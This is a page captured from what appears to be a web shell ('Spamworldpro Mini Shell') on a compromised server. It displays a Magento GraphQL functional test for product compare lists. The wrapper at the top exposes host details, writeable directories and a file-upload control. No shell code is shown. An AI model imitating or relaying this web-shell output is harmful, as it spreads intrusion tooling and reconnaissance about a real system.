Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/dev/tests/api-functional/testsuite/Magento/GraphQl/CompareList/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/dev/tests/api-functional/testsuite/Magento/GraphQl/CompareList/CompareListTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\GraphQl\CompareList;

use Magento\Catalog\Api\ProductRepositoryInterface;
use Magento\Integration\Api\CustomerTokenServiceInterface;
use Magento\TestFramework\Helper\Bootstrap;
use Magento\TestFramework\TestCase\GraphQl\ResponseContainsErrorsException;
use Magento\TestFramework\TestCase\GraphQlAbstract;

/**
 * Test for Compare list feature
 */
class CompareListTest extends GraphQlAbstract
{
    private const PRODUCT_SKU_1 = 'simple1';
    private const PRODUCT_SKU_2 = 'simple2';

    /**
     * @var ProductRepositoryInterface
     */
    private $productRepository;

    /**
     * @var CustomerTokenServiceInterface
     */
    private $customerTokenService;

    protected function setUp(): void
    {
        $objectManager = Bootstrap::getObjectManager();
        $this->productRepository = $objectManager->get(ProductRepositoryInterface::class);
        $this->customerTokenService = Bootstrap::getObjectManager()->get(CustomerTokenServiceInterface::class);
    }
    /**
     * Create compare list without product
     */
    public function testCreateCompareListWithoutProducts()
    {
        $response = $this->createCompareList();
        $uid = $response['createCompareList']['uid'];
        $this->uidAssertion($uid);
    }

    /**
     * Create compare list with products
     *
     * @magentoApiDataFixture Magento/Catalog/_files/multiple_products.php
     */
    public function testCreateCompareListWithProducts()
    {
        $product1 = $this->productRepository->get(self::PRODUCT_SKU_1);
        $product2 = $this->productRepository->get(self::PRODUCT_SKU_2);

        $mutation =  <<<MUTATION
mutation{
  createCompareList(input:{products: [{$product1->getId()}, {$product2->getId()}]}){
	 uid
     items {
        product {
            sku
        }
      }
  }
}
MUTATION;
        $response = $this->graphQlMutation($mutation);
        $uid = $response['createCompareList']['uid'];
        $this->uidAssertion($uid);
        $this->itemsAssertion($response['createCompareList']['items']);
    }

    /**
     * Add products to compare list
     *
     * @magentoApiDataFixture Magento/Catalog/_files/multiple_products.php
     */
    public function testAddProductToCompareList()
    {
        $compareList = $this->createCompareList();
        $uid = $compareList['createCompareList']['uid'];
        $this->assertEquals(0, $compareList['createCompareList']['item_count'],'Incorrect count');
        $this->uidAssertion($uid);
        $response = $this->addProductsToCompareList($uid);
        $resultUid = $response['addProductsToCompareList']['uid'];
        $this->uidAssertion($resultUid);
        $this->itemsAssertion($response['addProductsToCompareList']['items']);
        $this->assertEquals(2, $response['addProductsToCompareList']['item_count'],'Incorrect count');
        $this->assertResponseFields(
            $response['addProductsToCompareList']['attributes'],
            [
                [
                    'code'=> 'sku',
                    'label'=> 'SKU'
                ],
                [
                    'code'=> 'description',
                    'label'=> 'Description'
                ],
                [
                    'code'=> 'short_description',
                    'label'=> 'Short Description'
                ]
            ]
        );
    }

    /**
     * Remove products from compare list
     *
     * @magentoApiDataFixture Magento/Catalog/_files/multiple_products.php
     */
    public function testRemoveProductFromCompareList()
    {
        $compareList = $this->createCompareList();
        $uid = $compareList['createCompareList']['uid'];
        $this->uidAssertion($uid);
        $addProducts = $this->addProductsToCompareList($uid);
        $this->itemsAssertion($addProducts['addProductsToCompareList']['items']);
        $this->assertCount(2, $addProducts['addProductsToCompareList']['items']);
        $product = $this->productRepository->get(self::PRODUCT_SKU_1);
        $removeFromCompareList =  <<<MUTATION
mutation{
  removeProductsFromCompareList(input: {uid: "{$uid}", products: [{$product->getId()}]}) {
    uid
    items {
        product {
            sku
        }
    }
  }
}
MUTATION;
        $response = $this->graphQlMutation($removeFromCompareList);
        $this->assertCount(1, $response['removeProductsFromCompareList']['items']);
    }

    /**
     * Get compare list query
     *
     * @magentoApiDataFixture Magento/Catalog/_files/multiple_products.php
     */
    public function testGetCompareList()
    {
        $compareList = $this->createCompareList();
        $uid = $compareList['createCompareList']['uid'];
        $this->uidAssertion($uid);
        $addProducts = $this->addProductsToCompareList($uid);
        $this->itemsAssertion($addProducts['addProductsToCompareList']['items']);
        $query =  <<<QUERY
{
  compareList(uid: "{$uid}") {
    uid
    items {
        product {
            sku
        }
    }
  }
}
QUERY;
        $response = $this->graphQlQuery($query);
        $this->itemsAssertion($response['compareList']['items']);
    }

    /**
     * Remove compare list
     *
     * @magentoApiDataFixture Magento/Catalog/_files/multiple_products.php
     */
    public function testDeleteCompareList()
    {
        $compareList = $this->createCompareList();
        $uid = $compareList['createCompareList']['uid'];
        $this->uidAssertion($uid);
        $addProducts = $this->addProductsToCompareList($uid);
        $this->itemsAssertion($addProducts['addProductsToCompareList']['items']);
        $deleteCompareList =  <<<MUTATION
mutation{
  deleteCompareList(uid:"{$uid}") {
    result
  }
}
MUTATION;
        $response = $this->graphQlMutation($deleteCompareList);
        $this->assertTrue($response['deleteCompareList']['result']);
        $response1 = $this->graphQlMutation($deleteCompareList);
        $this->assertFalse($response1['deleteCompareList']['result']);
    }

    /**
     * Assign compare list to customer
     *
     * @magentoApiDataFixture Magento/Catalog/_files/multiple_products.php
     * @magentoApiDataFixture Magento/Customer/_files/customer.php
     */
    public function testAssignCompareListToCustomer()
    {
        $compareList = $this->createCompareList();
        $uid = $compareList['createCompareList']['uid'];
        $this->uidAssertion($uid);
        $addProducts = $this->addProductsToCompareList($uid);
        $this->itemsAssertion($addProducts['addProductsToCompareList']['items']);
        $currentEmail = '[email protected]';
        $currentPassword = 'password';
        $customerQuery = <<<QUERY
{
  customer {
    firstname
    lastname
    compare_list {
      uid
      items {
        product {
            sku
        }
      }
    }
  }
}
QUERY;
        $customerResponse = $this->graphQlQuery(
            $customerQuery,
            [],
            '',
            $this->getCustomerAuthHeaders($currentEmail, $currentPassword)
        );
        $this->assertArrayHasKey('compare_list', $customerResponse['customer']);
        $this->assertNull($customerResponse['customer']['compare_list']);

        $assignCompareListToCustomer = <<<MUTATION
mutation {
  assignCompareListToCustomer(uid: "{$uid}"){
    result
    compare_list {
      uid
      items {
        uid
      }
    }
  }
}
MUTATION;
        $assignResponse = $this->graphQlMutation(
            $assignCompareListToCustomer,
            [],
            '',
            $this->getCustomerAuthHeaders($currentEmail, $currentPassword)
        );
        $this->assertTrue($assignResponse['assignCompareListToCustomer']['result']);

        $customerAssignedResponse = $this->graphQlQuery(
            $customerQuery,
            [],
            '',
            $this->getCustomerAuthHeaders($currentEmail, $currentPassword)
        );

        $this->assertArrayHasKey('compare_list', $customerAssignedResponse['customer']);
        $this->uidAssertion($customerAssignedResponse['customer']['compare_list']['uid']);
        $this->itemsAssertion($customerAssignedResponse['customer']['compare_list']['items']);
    }

    /**
     * Assign compare list of one customer to another customer
     *
     * @magentoApiDataFixture Magento/Catalog/_files/multiple_products.php
     * @magentoApiDataFixture Magento/Customer/_files/two_customers.php
     */
    public function testCompareListsNotAccessibleBetweenCustomers()
    {
        $uidCustomer1 = $this->createCompareListForCustomer('[email protected]', 'password');
        $uidcustomer2 = $this->createCompareListForCustomer('[email protected]', 'password');
        $assignCompareListToCustomer = <<<MUTATION
mutation {
  assignCompareListToCustomer(uid: "{$uidCustomer1}"){
    result
    compare_list {
      uid
      items {
        uid
      }
    }
  }
}
MUTATION;

        $expectedExceptionsMessage = 'GraphQL response contains errors: This customer is not authorized to access this list';
        $this->expectException(ResponseContainsErrorsException::class);
        $this->expectExceptionMessage($expectedExceptionsMessage);
        //customer2 not allowed to assign compareList belonging to customer1
        $this->graphQlMutation(
            $assignCompareListToCustomer,
            [],
            '',
            $this->getCustomerAuthHeaders('[email protected]', 'password')
        );

        $deleteCompareList =  <<<MUTATION
mutation{
  deleteCompareList(uid:"{$uidcustomer2}") {
    result
  }
}
MUTATION;
        $expectedExceptionsMessage = 'GraphQL response contains errors: This customer is not authorized to access this list';
        $this->expectException(ResponseContainsErrorsException::class);
        $this->expectExceptionMessage($expectedExceptionsMessage);
        //customer1 not allowed to delete compareList belonging to customer2
        $this->graphQlMutation(
            $assignCompareListToCustomer,
            [],
            '',
            $this->getCustomerAuthHeaders('[email protected]', 'password')
        );

    }

    /**
     * Get customer Header
     *
     * @param string $email
     * @param string $password
     *
     * @return array
     */
    private function getCustomerAuthHeaders(string $email, string $password): array
    {
        $customerToken = $this->customerTokenService->createCustomerAccessToken($email, $password);
        return ['Authorization' => 'Bearer ' . $customerToken];
    }

    /**
     * Create compare list
     *
     * @return array
     */
    private function createCompareList(): array
    {
        $mutation =  <<<MUTATION
mutation{
  createCompareList {
	 uid
	 item_count
	 attributes{code label}
  }
}
MUTATION;
        return $this->graphQlMutation($mutation);
    }

    private function createCompareListForCustomer(string $username, string $password): string
    {
        $compareListCustomer =  <<<MUTATION
mutation{
  createCompareList {
	 uid
  }
}
MUTATION;
        $response = $this->graphQlMutation(
            $compareListCustomer,
            [],
            '',
            $this->getCustomerAuthHeaders($username, $password)
        );

        return $response['createCompareList']['uid'];
    }

    /**
     * Add products to compare list
     *
     * @param $uid
     *
     * @return array
     */
    private function addProductsToCompareList($uid): array
    {
        $product1 = $this->productRepository->get(self::PRODUCT_SKU_1);
        $product2 = $this->productRepository->get(self::PRODUCT_SKU_2);
        $addProductsToCompareList =  <<<MUTATION
mutation{
    addProductsToCompareList(input: { uid: "{$uid}", products: [{$product1->getId()}, {$product2->getId()}]}) {
        uid
        item_count
        attributes{code label}
        items {
            product {
                sku
            }
        }
    }
}
MUTATION;
        return $this->graphQlMutation($addProductsToCompareList);
    }

    /**
     * Assert UID
     *
     * @param string $uid
     */
    private function uidAssertion(string $uid)
    {
        $this->assertIsString($uid);
        $this->assertEquals(32, strlen($uid));
    }

    /**
     * Assert products
     *
     * @param array $items
     */
    private function itemsAssertion(array $items)
    {
        $this->assertArrayHasKey(0, $items);
        $this->assertArrayHasKey(1, $items);
        $this->assertEquals(self::PRODUCT_SKU_1, $items[0]['product']['sku']);
        $this->assertEquals(self::PRODUCT_SKU_2, $items[1]['product']['sku']);
    }
}

Spamworldpro Mini